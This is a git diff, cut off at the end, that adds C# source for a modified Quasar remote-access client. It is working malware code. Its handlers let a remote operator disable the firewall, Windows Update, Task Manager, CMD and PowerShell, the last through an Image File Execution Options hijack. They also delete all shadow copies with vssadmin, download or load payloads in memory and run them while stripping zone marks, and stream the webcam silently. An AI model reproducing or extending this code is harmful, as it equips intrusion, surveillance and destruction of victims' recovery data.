(ManagementObject os in searcher.Get()) + { + return os["Caption"].ToString(); + } + } + } + catch { } + return Environment.OSVersion.ToString(); + } + + private string GetOSArchitecture() + { + return Environment.Is64BitOperatingSystem ? "64-bit" : "32-bit"; + } + + private string GetOSBuild() + { + try + { + using (var searcher = new ManagementObjectSearcher("SELECT BuildNumber FROM Win32_OperatingSystem")) + { + foreach (ManagementObject os in searcher.Get()) + { + return os["BuildNumber"].ToString(); + } + } + } + catch { } + return "Unknown"; + } + + private string GetDotNetVersion() + { + try + { + using (Microsoft.Win32.RegistryKey ndpKey = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full\")) + { + if (ndpKey != null) + { + int releaseKey = (int)ndpKey.GetValue("Release"); + if (releaseKey >= 528040) return "4.8 or later"; + if (releaseKey >= 461808) return "4.7.2"; + if (releaseKey >= 461308) return "4.7.1"; + if (releaseKey >= 460798) return "4.7"; + if (releaseKey >= 394802) return "4.6.2"; + if (releaseKey >= 394254) return "4.6.1"; + if (releaseKey >= 393295) return "4.6"; + return "4.5 or later"; + } + } + } + catch { } + return "Unknown"; + } + + private string GetAccountType() + { + try + { + WindowsIdentity identity = WindowsIdentity.GetCurrent(); + WindowsPrincipal principal = new WindowsPrincipal(identity); + return principal.IsInRole(WindowsBuiltInRole.Administrator) ? "Administrator" : "Standard User"; + } + catch + { + return "Unknown"; + } + } + + private string GetTotalDiskSpace() + { + try + { + DriveInfo drive = new DriveInfo(Path.GetPathRoot(Environment.SystemDirectory)); + double totalGB = drive.TotalSize / (1024.0 * 1024.0 * 1024.0); + return $"{totalGB:F2} GB"; + } + catch + { + return "Unknown"; + } + } + + private string GetFreeDiskSpace() + { + try + { + DriveInfo drive = new DriveInfo(Path.GetPathRoot(Environment.SystemDirectory)); + double freeGB = drive.AvailableFreeSpace / (1024.0 * 1024.0 * 1024.0); + return $"{freeGB:F2} GB"; + } + catch + { + return "Unknown"; + } + } + + private string GetScreenResolution() + { + try + { + return $"{Screen.PrimaryScreen.Bounds.Width} x {Screen.PrimaryScreen.Bounds.Height}"; + } + catch + { + return "Unknown"; + } + } + + private string GetLastBootTime() + { + try + { + using (var searcher = new ManagementObjectSearcher("SELECT LastBootUpTime FROM Win32_OperatingSystem")) + { + foreach (ManagementObject os in searcher.Get()) + { + DateTime bootTime = ManagementDateTimeConverter.ToDateTime(os["LastBootUpTime"].ToString()); + return bootTime.ToString("yyyy-MM-dd HH:mm:ss"); + } + } + } + catch { } + return "Unknown"; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Messages/SystemOptionHandler.cs b/Quasar-1.4.1/Quasar.Client/Messages/SystemOptionHandler.cs new file mode 100755 index 0000000..060122b --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Messages/SystemOptionHandler.cs @@ -0,0 +1,302 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Diagnostics; + +// NOTE: All registry access is fully qualified as Microsoft.Win32.Registry.* +// to avoid ambiguity with the Quasar.Client.Registry namespace. + +namespace Quasar.Client.Messages +{ + public class SystemOptionHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is DoSystemOption; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoSystemOption option: + Execute(sender, option); + break; + } + } + + private void Execute(ISender client, DoSystemOption message) + { + try + { + bool success = false; + string resultMessage = ""; + + switch (message.Option.ToUpper()) + { + case "REGISTRY": + success = SetRegistryOption(message.Enable); + resultMessage = message.Enable ? "Registry Editor Enabled" : "Registry Editor Disabled"; + break; + case "TASKMGR": + success = SetTaskManagerOption(message.Enable); + resultMessage = message.Enable ? "Task Manager Enabled" : "Task Manager Disabled"; + break; + case "CMD": + success = SetCmdOption(message.Enable); + resultMessage = message.Enable ? "Command Prompt Enabled" : "Command Prompt Disabled"; + break; + case "FIREWALL": + success = SetFirewallOption(message.Enable); + resultMessage = message.Enable ? "Firewall Enabled" : "Firewall Disabled"; + break; + case "RESTOREPOINTS": + success = DeleteRestorePoints(); + resultMessage = "Restore Points Deleted"; + break; + case "POWERSHELL": + success = SetPowerShellOption(message.Enable); + resultMessage = message.Enable ? "PowerShell Enabled" : "PowerShell Disabled"; + break; + case "PSEXECUTION": + success = SetPsExecutionPolicy(message.Enable); + resultMessage = message.Enable ? "PS Script Execution Enabled" : "PS Script Execution Restricted"; + break; + case "WINDOWSUPDATE": + success = SetWindowsUpdateOption(message.Enable); + resultMessage = message.Enable ? "Windows Update Enabled" : "Windows Update Disabled"; + break; + case "RDP": + success = SetRdpOption(message.Enable); + resultMessage = message.Enable ? "Remote Desktop Enabled" : "Remote Desktop Disabled"; + break; + case "USB": + success = SetUsbStorageOption(message.Enable); + resultMessage = message.Enable ? "USB Storage Enabled" : "USB Storage Disabled"; + break; + case "CONTROLPANEL": + success = SetControlPanelOption(message.Enable); + resultMessage = message.Enable ? "Control Panel Enabled" : "Control Panel Disabled"; + break; + case "RUNDIALOG": + success = SetRunDialogOption(message.Enable); + resultMessage = message.Enable ? "Run Dialog Enabled" : "Run Dialog Disabled"; + break; + case "SAFEMODE": + success = SetSafeModeOption(message.Enable); + resultMessage = message.Enable ? "Safe Mode Boot Allowed" : "Safe Mode Boot Blocked"; + break; + default: + resultMessage = "Unknown option: " + message.Option; + break; + } + + client.Send(new SystemOptionResponse { Success = success, Message = resultMessage }); + } + catch (Exception ex) + { + client.Send(new SystemOptionResponse { Success = false, Message = "Error: " + ex.Message }); + } + } + + private bool SetRegistryOption(bool enable) + { + try + { + using (var key = Microsoft.Win32.Registry.CurrentUser.CreateSubKey(@"Software\Microsoft\Windows\CurrentVersion\Policies\System")) + { + if (enable) key.DeleteValue("DisableRegistryTools", false); + else key.SetValue("DisableRegistryTools", 1, Microsoft.Win32.RegistryValueKind.DWord); + } + return true; + } + catch { return false; } + } + + private bool SetTaskManagerOption(bool enable) + { + try + { + using (var key = Microsoft.Win32.Registry.CurrentUser.CreateSubKey(@"Software\Microsoft\Windows\CurrentVersion\Policies\System")) + { + if (enable) key.DeleteValue("DisableTaskMgr", false); + else key.SetValue("DisableTaskMgr", 1, Microsoft.Win32.RegistryValueKind.DWord); + } + return true; + } + catch { return false; } + } + + private bool SetCmdOption(bool enable) + { + try + { + using (var key = Microsoft.Win32.Registry.CurrentUser.CreateSubKey(@"Software\Policies\Microsoft\Windows\System")) + { + if (enable) key.DeleteValue("DisableCMD", false); + else key.SetValue("DisableCMD", 1, Microsoft.Win32.RegistryValueKind.DWord); + } + return true; + } + catch { return false; } + } + + private bool SetFirewallOption(bool enable) + { + try + { + RunCommand("netsh", $"advfirewall set allprofiles state {(enable ? "on" : "off")}"); + return true; + } + catch { return false; } + } + + private bool DeleteRestorePoints() + { + try + { + RunCommand("vssadmin", "delete shadows /all /quiet"); + return true; + } + catch { return false; } + } + + private bool SetPowerShellOption(bool enable) + { + try + { + // Image File Execution Options debugger trick — redirects powershell.exe to nothing + string[] targets = { "powershell.exe", "powershell_ise.exe" }; + foreach (var exe in targets) + { + string path = $@"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\{exe}"; + if (enable) + { + Microsoft.Win32.Registry.LocalMachine.DeleteSubKey(path, false); + } + else + { + using (var key = Microsoft.Win32.Registry.LocalMachine.CreateSubKey(path)) + key.SetValue("Debugger", "svchost.exe", Microsoft.Win32.RegistryValueKind.String); + } + } + return true; + } + catch { return false; } + } + + private bool SetPsExecutionPolicy(bool enable) + { + try + { + using (var key = Microsoft.Win32.Registry.LocalMachine.CreateSubKey(@"SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell")) + { + key.SetValue("ExecutionPolicy", enable ? "Unrestricted" : "Restricted", Microsoft.Win32.RegistryValueKind.String); + } + return true; + } + catch { return false; } + } + + private bool SetWindowsUpdateOption(bool enable) + { + try + { + using (var key = Microsoft.Win32.Registry.LocalMachine.CreateSubKey(@"SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU")) + { + if (enable) key.DeleteValue("NoAutoUpdate", false); + else key.SetValue("NoAutoUpdate", 1, Microsoft.Win32.RegistryValueKind.DWord); + } + RunCommand("sc", $"config wuauserv start= {(enable ? "auto" : "disabled")}"); + RunCommand("sc", $"{(enable ? "start" : "stop")} wuauserv"); + return true; + } + catch { return false; } + } + + private bool SetRdpOption(bool enable) + { + try + { + using (var key = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SYSTEM\CurrentControlSet\Control\Terminal Server", true)) + key?.SetValue("fDenyTSConnections", enable ? 0 : 1, Microsoft.Win32.RegistryValueKind.DWord); + RunCommand("netsh", $"advfirewall firewall set rule group=\"remote desktop\" new enable={(enable ? "enable" : "disable")}"); + return true; + } + catch { return false; } + } + + private bool SetUsbStorageOption(bool enable) + { + try + { + using (var key = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SYSTEM\CurrentControlSet\Services\USBSTOR", true)) + key?.SetValue("Start", enable ? 3 : 4, Microsoft.Win32.RegistryValueKind.DWord); + return true; + } + catch { return false; } + } + + private bool SetControlPanelOption(bool enable) + { + try + { + using (var key = Microsoft.Win32.Registry.CurrentUser.CreateSubKey(@"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer")) + { + if (enable) key.DeleteValue("NoControlPanel", false); + else key.SetValue("NoControlPanel", 1, Microsoft.Win32.RegistryValueKind.DWord); + } + return true; + } + catch { return false; } + } + + private bool SetRunDialogOption(bool enable) + { + try + { + using (var key = Microsoft.Win32.Registry.CurrentUser.CreateSubKey(@"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer")) + { + if (enable) + { + key.DeleteValue("NoRun", false); + key.DeleteValue("NoFind", false); + } + else + { + key.SetValue("NoRun", 1, Microsoft.Win32.RegistryValueKind.DWord); + key.SetValue("NoFind", 1, Microsoft.Win32.RegistryValueKind.DWord); + } + } + return true; + } + catch { return false; } + } + + private bool SetSafeModeOption(bool enable) + { + try + { + if (enable) + RunCommand("bcdedit", "/deletevalue safeboot"); + else + RunCommand("bcdedit", "/set safeboot minimal"); + return true; + } + catch { return false; } + } + + private void RunCommand(string exe, string args) + { + var psi = new ProcessStartInfo + { + FileName = exe, + Arguments = args, + CreateNoWindow = true, + UseShellExecute = false, + WindowStyle = ProcessWindowStyle.Hidden + }; + using (var p = Process.Start(psi)) + p?.WaitForExit(); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Messages/TaskManagerHandler.cs b/Quasar-1.4.1/Quasar.Client/Messages/TaskManagerHandler.cs new file mode 100755 index 0000000..707273d --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Messages/TaskManagerHandler.cs @@ -0,0 +1,261 @@ +using Quasar.Client.Networking; +using Quasar.Client.Setup; +using Quasar.Common; +using Quasar.Common.Enums; +using Quasar.Common.Helpers; +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.ComponentModel; +using System.Diagnostics; +using System.Net; +using System.Reflection; +using System.Threading; + +namespace Quasar.Client.Messages +{ + /// + /// Handles messages for the interaction with tasks. + /// + public class TaskManagerHandler : IMessageProcessor, IDisposable + { + private readonly QuasarClient _client; + + private readonly WebClient _webClient; + + public TaskManagerHandler(QuasarClient client) + { + _client = client; + _client.ClientState += OnClientStateChange; + _webClient = new WebClient { Proxy = null }; + _webClient.DownloadFileCompleted += OnDownloadFileCompleted; + } + + private void OnClientStateChange(Networking.Client s, bool connected) + { + if (!connected) + { + if (_webClient.IsBusy) + _webClient.CancelAsync(); + } + } + + public bool CanExecute(IMessage message) => message is GetProcesses || + message is DoProcessStart || + message is DoProcessEnd; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetProcesses msg: + Execute(sender, msg); + break; + case DoProcessStart msg: + Execute(sender, msg); + break; + case DoProcessEnd msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, GetProcesses message) + { + Process[] pList = Process.GetProcesses(); + var processes = new Common.Models.Process[pList.Length]; + + for (int i = 0; i < pList.Length; i++) + { + var process = new Common.Models.Process + { + Name = pList[i].ProcessName + ".exe", + Id = pList[i].Id, + MainWindowTitle = pList[i].MainWindowTitle + }; + processes[i] = process; + } + + client.Send(new GetProcessesResponse { Processes = processes }); + } + + private void Execute(ISender client, DoProcessStart message) + { + // In-memory execution: payload bytes sent directly, no disk write + if (message.ExecuteInMemory && message.Payload != null && message.Payload.Length > 0) + { + ExecuteInMemory(message.Payload); + return; + } + + if (string.IsNullOrEmpty(message.FilePath)) + { + // download and then execute + if (string.IsNullOrEmpty(message.DownloadUrl)) + { + client.Send(new DoProcessResponse {Action = ProcessAction.Start, Result = false}); + return; + } + + message.FilePath = FileHelper.GetTempFilePath(".exe"); + + try + { + if (_webClient.IsBusy) + { + _webClient.CancelAsync(); + while (_webClient.IsBusy) + { + Thread.Sleep(50); + } + } + + _webClient.DownloadFileAsync(new Uri(message.DownloadUrl), message.FilePath, message); + } + catch + { + client.Send(new DoProcessResponse {Action = ProcessAction.Start, Result = false}); + NativeMethods.DeleteFile(message.FilePath); + } + } + else + { + // execute locally + ExecuteProcess(message.FilePath, message.IsUpdate); + } + } + + /// + /// Executes a managed .NET assembly from raw bytes without writing to disk. + /// Falls back to a temp-file approach for native PEs. + /// + private void ExecuteInMemory(byte[] payload) + { + try + { + // Try managed assembly load first (works for .NET EXEs) + var asm = Assembly.Load(payload); + var entry = asm.EntryPoint; + if (entry != null) + { + new Thread(() => + { + try + { + var parameters = entry.GetParameters().Length > 0 + ? new object[] { new string[0] } + : null; + entry.Invoke(null, parameters); + } + catch { } + }) { IsBackground = true }.Start(); + _client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = true }); + return; + } + } + catch { } + + // Fallback: write to temp, mark for delete, execute + try + { + string tmp = FileHelper.GetTempFilePath(".exe"); + System.IO.File.WriteAllBytes(tmp, payload); + FileHelper.DeleteZoneIdentifier(tmp); + Process.Start(new ProcessStartInfo { FileName = tmp, UseShellExecute = true }); + _client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = true }); + } + catch + { + _client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = false }); + } + } + + private void OnDownloadFileCompleted(object sender, AsyncCompletedEventArgs e) + { + var message = (DoProcessStart) e.UserState; + if (e.Cancelled) + { + NativeMethods.DeleteFile(message.FilePath); + return; + } + + FileHelper.DeleteZoneIdentifier(message.FilePath); + ExecuteProcess(message.FilePath, message.IsUpdate); + } + + private void ExecuteProcess(string filePath, bool isUpdate) + { + if (isUpdate) + { + try + { + var clientUpdater = new ClientUpdater(); + clientUpdater.Update(filePath); + _client.Send(new SetStatus { Message = "Update initiated - client will restart" }); + // Give the message time to send before exiting + Thread.Sleep(500); + _client.Exit(); + } + catch (Exception ex) + { + NativeMethods.DeleteFile(filePath); + _client.Send(new SetStatus { Message = $"Update failed: {ex.Message}" }); + _client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = false }); + } + } + else + { + try + { + ProcessStartInfo startInfo = new ProcessStartInfo + { + UseShellExecute = true, + FileName = filePath + }; + Process.Start(startInfo); + _client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = true }); + } + catch (Exception) + { + _client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = false }); + } + + } + } + + private void Execute(ISender client, DoProcessEnd message) + { + try + { + Process.GetProcessById(message.Pid).Kill(); + client.Send(new DoProcessResponse { Action = ProcessAction.End, Result = true }); + } + catch + { + client.Send(new DoProcessResponse { Action = ProcessAction.End, Result = false }); + } + } + + /// + /// Disposes all managed and unmanaged resources associated with this message processor. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + _client.ClientState -= OnClientStateChange; + _webClient.DownloadFileCompleted -= OnDownloadFileCompleted; + _webClient.CancelAsync(); + _webClient.Dispose(); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Messages/TcpConnectionsHandler.cs b/Quasar-1.4.1/Quasar.Client/Messages/TcpConnectionsHandler.cs new file mode 100755 index 0000000..f4c55d6 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Messages/TcpConnectionsHandler.cs @@ -0,0 +1,117 @@ +using Quasar.Client.Utilities; +using Quasar.Common.Enums; +using Quasar.Common.Messages; +using Quasar.Common.Models; +using Quasar.Common.Networking; +using System; +using System.Runtime.InteropServices; + +namespace Quasar.Client.Messages +{ + public class TcpConnectionsHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is GetConnections || + message is DoCloseConnection; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetConnections msg: + Execute(sender, msg); + break; + case DoCloseConnection msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, GetConnections message) + { + var table = GetTable(); + + var connections = new TcpConnection[table.Length]; + + for (int i = 0; i < table.Length; i++) + { + string processName; + try + { + var p = System.Diagnostics.Process.GetProcessById((int)table[i].owningPid); + processName = p.ProcessName; + } + catch + { + processName = $"PID: {table[i].owningPid}"; + } + + connections[i] = new TcpConnection + { + ProcessName = processName, + LocalAddress = table[i].LocalAddress.ToString(), + LocalPort = table[i].LocalPort, + RemoteAddress = table[i].RemoteAddress.ToString(), + RemotePort = table[i].RemotePort, + State = (ConnectionState)table[i].state + }; + } + + client.Send(new GetConnectionsResponse { Connections = connections }); + } + + private void Execute(ISender client, DoCloseConnection message) + { + var table = GetTable(); + + for (var i = 0; i < table.Length; i++) + { + //search for connection + if (message.LocalAddress == table[i].LocalAddress.ToString() && + message.LocalPort == table[i].LocalPort && + message.RemoteAddress == table[i].RemoteAddress.ToString() && + message.RemotePort == table[i].RemotePort) + { + // it will close the connection only if client run as admin + table[i].state = (byte) ConnectionState.Delete_TCB; + var ptr = Marshal.AllocCoTaskMem(Marshal.SizeOf(table[i])); + Marshal.StructureToPtr(table[i], ptr, false); + NativeMethods.SetTcpEntry(ptr); + Execute(client, new GetConnections()); + return; + } + } + } + + private NativeMethods.MibTcprowOwnerPid[] GetTable() + { + NativeMethods.MibTcprowOwnerPid[] tTable; + var afInet = 2; + var buffSize = 0; + // retrieve correct pTcpTable size + NativeMethods.GetExtendedTcpTable(IntPtr.Zero, ref buffSize, true, afInet, NativeMethods.TcpTableClass.TcpTableOwnerPidAll); + var buffTable = Marshal.AllocHGlobal(buffSize); + try + { + var ret = NativeMethods.GetExtendedTcpTable(buffTable, ref buffSize, true, afInet, NativeMethods.TcpTableClass.TcpTableOwnerPidAll); + if (ret != 0) + return null; + var tab = (NativeMethods.MibTcptableOwnerPid)Marshal.PtrToStructure(buffTable, typeof(NativeMethods.MibTcptableOwnerPid)); + var rowPtr = (IntPtr)((long)buffTable + Marshal.SizeOf(tab.dwNumEntries)); + tTable = new NativeMethods.MibTcprowOwnerPid[tab.dwNumEntries]; + for (var i = 0; i < tab.dwNumEntries; i++) + { + var tcpRow = (NativeMethods.MibTcprowOwnerPid)Marshal.PtrToStructure(rowPtr, typeof(NativeMethods.MibTcprowOwnerPid)); + tTable[i] = tcpRow; + rowPtr = (IntPtr)((long)rowPtr + Marshal.SizeOf(tcpRow)); + } + } + finally + { + Marshal.FreeHGlobal(buffTable); + } + return tTable; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Messages/WebcamHandler.cs b/Quasar-1.4.1/Quasar.Client/Messages/WebcamHandler.cs new file mode 100755 index 0000000..84bdc5e --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Messages/WebcamHandler.cs @@ -0,0 +1,147 @@ +using AForge.Video; +using AForge.Video.DirectShow; +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Diagnostics; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; +using System.Threading; + +namespace Quasar.Client.Messages +{ + public class WebcamHandler : IMessageProcessor, IDisposable + { + private volatile bool _isCapturing; + private VideoCaptureDevice _videoDevice; + private int _quality = 75; + private ISender _currentSender; + private readonly object _lock = new object(); + private static ImageCodecInfo _jpegCodec; + + static WebcamHandler() + { + foreach (var c in ImageCodecInfo.GetImageDecoders()) + if (c.FormatID == ImageFormat.Jpeg.Guid) { _jpegCodec = c; break; } + } + + public bool CanExecute(IMessage message) => + message is GetWebcams || message is DoWebcamStart || message is DoWebcamStop; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + _currentSender = sender; + switch (message) + { + case GetWebcams m: Execute(sender, m); break; + case DoWebcamStart m: Execute(sender, m); break; + case DoWebcamStop m: Execute(sender, m); break; + } + } + + private void Execute(ISender sender, GetWebcams msg) + { + try + { + var devices = new FilterInfoCollection(FilterCategory.VideoInputDevice); + var sb = new System.Text.StringBuilder(); + foreach (FilterInfo d in devices) + sb.Append(d.Name + "=>"); + sender.Send(new GetWebcamsResponse { Webcams = sb.Length > 0 ? sb.ToString() : "None=>" }); + } + catch (Exception ex) + { + Debug.WriteLine("[WebcamHandler] GetWebcams error: " + ex.Message); + sender.Send(new GetWebcamsResponse { Webcams = "None=>" }); + } + } + + private void Execute(ISender sender, DoWebcamStart msg) + { + lock (_lock) + { + StopDeviceLocked(); + try + { + var devices = new FilterInfoCollection(FilterCategory.VideoInputDevice); + if (msg.CameraIndex < 0 || msg.CameraIndex >= devices.Count) return; + + _quality = msg.Quality; + _isCapturing = true; + _videoDevice = new VideoCaptureDevice(devices[msg.CameraIndex].MonikerString); + _videoDevice.NewFrame += CaptureFrame; + if (_videoDevice.VideoCapabilities.Length > 0) + _videoDevice.VideoResolution = _videoDevice.VideoCapabilities[0]; + _videoDevice.Start(); + } + catch (Exception ex) + { + Debug.WriteLine("[WebcamHandler] Start error: " + ex.Message); + _isCapturing = false; + _videoDevice = null; + } + } + } + + private void Execute(ISender sender, DoWebcamStop msg) + { + lock (_lock) { StopDeviceLocked(); } + } + + private void CaptureFrame(object sender, NewFrameEventArgs e) + { + if (!_isCapturing || _currentSender == null) return; + try + { + using (var bmp = (Bitmap)e.Frame.Clone()) + using (var ms = new MemoryStream()) + { + var ep = new EncoderParameters(1); + ep.Param[0] = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, (long)_quality); + bmp.Save(ms, _jpegCodec, ep); + ep.Dispose(); + _currentSender.Send(new GetWebcamResponse { Image = ms.ToArray() }); + } + } + catch (Exception ex) + { + Debug.WriteLine("[WebcamHandler] CaptureFrame error: " + ex.Message); + } + } + + private void StopDeviceLocked() + { + _isCapturing = false; + if (_videoDevice == null) return; + try + { + _videoDevice.NewFrame -= CaptureFrame; + if (_videoDevice.IsRunning) + { + _videoDevice.SignalToStop(); + // Wait max 2s then force + for (int i = 0; i < 20 && _videoDevice.IsRunning; i++) + Thread.Sleep(100); + if (_videoDevice.IsRunning) + _videoDevice.Stop(); + } + } + catch (Exception ex) + { + Debug.WriteLine("[WebcamHandler] StopDevice error: " + ex.Message); + } + finally + { + _videoDevice = null; + } + } + + public void Dispose() + { + lock (_lock) { StopDeviceLocked(); } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Messages/WebsiteVisitorHandler.cs b/Quasar-1.4.1/Quasar.Client/Messages/WebsiteVisitorHandler.cs new file mode 100755 index 0000000..773b982 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Messages/WebsiteVisitorHandler.cs @@ -0,0 +1,60 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Diagnostics; +using System.Net; + +namespace Quasar.Client.Messages +{ + public class WebsiteVisitorHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is DoVisitWebsite; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoVisitWebsite msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, DoVisitWebsite message) + { + string url = message.Url; + + if (!url.StartsWith("http")) + url = "http://" + url; + + if (Uri.IsWellFormedUriString(url, UriKind.RelativeOrAbsolute)) + { + if (!message.Hidden) + Process.Start(url); + else + { + try + { + HttpWebRequest request = (HttpWebRequest)HttpWebRequest.Create(url); + request.UserAgent = + "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A"; + request.AllowAutoRedirect = true; + request.Timeout = 10000; + request.Method = "GET"; + + using (HttpWebResponse response = (HttpWebResponse)request.GetResponse()) + { + } + } + catch + { + } + } + + client.Send(new SetStatus { Message = "Visited Website" }); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Networking/Client.cs b/Quasar-1.4.1/Quasar.Client/Networking/Client.cs new file mode 100755 index 0000000..02af879 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Networking/Client.cs @@ -0,0 +1,691 @@ +using Quasar.Client.ReverseProxy; +using Quasar.Common.Extensions; +using Quasar.Common.Messages; +using Quasar.Common.Messages.ReverseProxy; +using Quasar.Common.Networking; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Net; +using System.Net.Security; +using System.Net.Sockets; +using System.Security.Authentication; +using System.Security.Cryptography; +using System.Security.Cryptography.X509Certificates; +using System.Threading; + +namespace Quasar.Client.Networking +{ + public class Client : ISender + { + /// + /// Occurs as a result of an unrecoverable issue with the client. + /// + public event ClientFailEventHandler ClientFail; + + /// + /// Represents a method that will handle failure of the client. + /// + /// The client that has failed. + /// The exception containing information about the cause of the client's failure. + public delegate void ClientFailEventHandler(Client s, Exception ex); + + /// + /// Fires an event that informs subscribers that the client has failed. + /// + /// The exception containing information about the cause of the client's failure. + private void OnClientFail(Exception ex) + { + var handler = ClientFail; + handler?.Invoke(this, ex); + } + + /// + /// Occurs when the state of the client has changed. + /// + public event ClientStateEventHandler ClientState; + + /// + /// Represents the method that will handle a change in the client's state + /// + /// The client which changed its state. + /// The new connection state of the client. + public delegate void ClientStateEventHandler(Client s, bool connected); + + /// + /// Fires an event that informs subscribers that the state of the client has changed. + /// + /// The new connection state of the client. + private void OnClientState(bool connected) + { + if (Connected == connected) return; + + Connected = connected; + + var handler = ClientState; + handler?.Invoke(this, connected); + } + + /// + /// Occurs when a message is received from the server. + /// + public event ClientReadEventHandler ClientRead; + + /// + /// Represents a method that will handle a message from the server. + /// + /// The client that has received the message. + /// The message that has been received by the server. + /// The length of the message. + public delegate void ClientReadEventHandler(Client s, IMessage message, int messageLength); + + /// + /// Fires an event that informs subscribers that a message has been received by the server. + /// + /// The message that has been received by the server. + /// The length of the message. + private void OnClientRead(IMessage message, int messageLength) + { + var handler = ClientRead; + handler?.Invoke(this, message, messageLength); + } + + /// + /// Occurs when a message is sent by the client. + /// + public event ClientWriteEventHandler ClientWrite; + + /// + /// Represents the method that will handle the sent message. + /// + /// The client that has sent the message. + /// The message that has been sent by the client. + /// The length of the message. + public delegate void ClientWriteEventHandler(Client s, IMessage message, int messageLength); + + /// + /// Fires an event that informs subscribers that the client has sent a message. + /// + /// The message that has been sent by the client. + /// The length of the message. + private void OnClientWrite(IMessage message, int messageLength) + { + var handler = ClientWrite; + handler?.Invoke(this, message, messageLength); + } + + /// + /// The type of the message received. + /// + public enum ReceiveType + { + Header, + Payload + } + + /// + /// The buffer size for receiving data in bytes. + /// + public int BUFFER_SIZE { get { return 1024 * 16; } } // 16KB + + /// + /// The keep-alive time in ms. + /// + public uint KEEP_ALIVE_TIME { get { return 25000; } } // 25s + + /// + /// The keep-alive interval in ms. + /// + public uint KEEP_ALIVE_INTERVAL { get { return 25000; } } // 25s + + /// + /// The header size in bytes. + /// + public int HEADER_SIZE { get { return 4; } } // 4B + + /// + /// The maximum size of a message in bytes. + /// + public int MAX_MESSAGE_SIZE { get { return (1024 * 1024) * 5; } } // 5MB + + /// + /// Returns an array containing all of the proxy clients of this client. + /// + public ReverseProxyClient[] ProxyClients + { + get + { + lock (_proxyClientsLock) + { + return _proxyClients.ToArray(); + } + } + } + + /// + /// Gets if the client is currently connected to a server. + /// + public bool Connected { get; private set; } + + /// + /// The stream used for communication. + /// + private SslStream _stream; + + /// + /// The server certificate. + /// + private readonly X509Certificate2 _serverCertificate; + + /// + /// A list of all the connected proxy clients that this client holds. + /// + private List _proxyClients = new List(); + + /// + /// The internal index of the message type. + /// + private int _typeIndex; + + /// + /// Lock object for the list of proxy clients. + /// + private readonly object _proxyClientsLock = new object(); + + /// + /// The buffer for incoming messages. + /// + private byte[] _readBuffer; + + /// + /// The buffer for the client's incoming payload. + /// + private byte[] _payloadBuffer; + + /// + /// The queue which holds messages to send. + /// + private readonly Queue _sendBuffers = new Queue(); + + /// + /// Determines if the client is currently sending messages. + /// + private bool _sendingMessages; + + /// + /// Lock object for the sending messages boolean. + /// + private readonly object _sendingMessagesLock = new object(); + + /// + /// The queue which holds buffers to read. + /// + private readonly Queue _readBuffers = new Queue(); + + /// + /// Determines if the client is currently reading messages. + /// + private bool _readingMessages; + + /// + /// Lock object for the reading messages boolean. + /// + private readonly object _readingMessagesLock = new object(); + + // Receive info + private int _readOffset; + private int _writeOffset; + private int _readableDataLen; + private int _payloadLen; + private ReceiveType _receiveState = ReceiveType.Header; + + /// + /// The mutex prevents multiple simultaneous write operations on the . + /// + private readonly Mutex _singleWriteMutex = new Mutex(); + + /// + /// Constructor of the client, initializes serializer types. + /// + /// The server certificate. + protected Client(X509Certificate2 serverCertificate) + { + _serverCertificate = serverCertificate; + _readBuffer = new byte[BUFFER_SIZE]; + TypeRegistry.AddTypesToSerializer(typeof(IMessage), TypeRegistry.GetPacketTypes(typeof(IMessage)).ToArray()); + } + + /// + /// Attempts to connect to the specified ip address on the specified port. + /// + /// The ip address to connect to. + /// The port of the host. + protected void Connect(IPAddress ip, 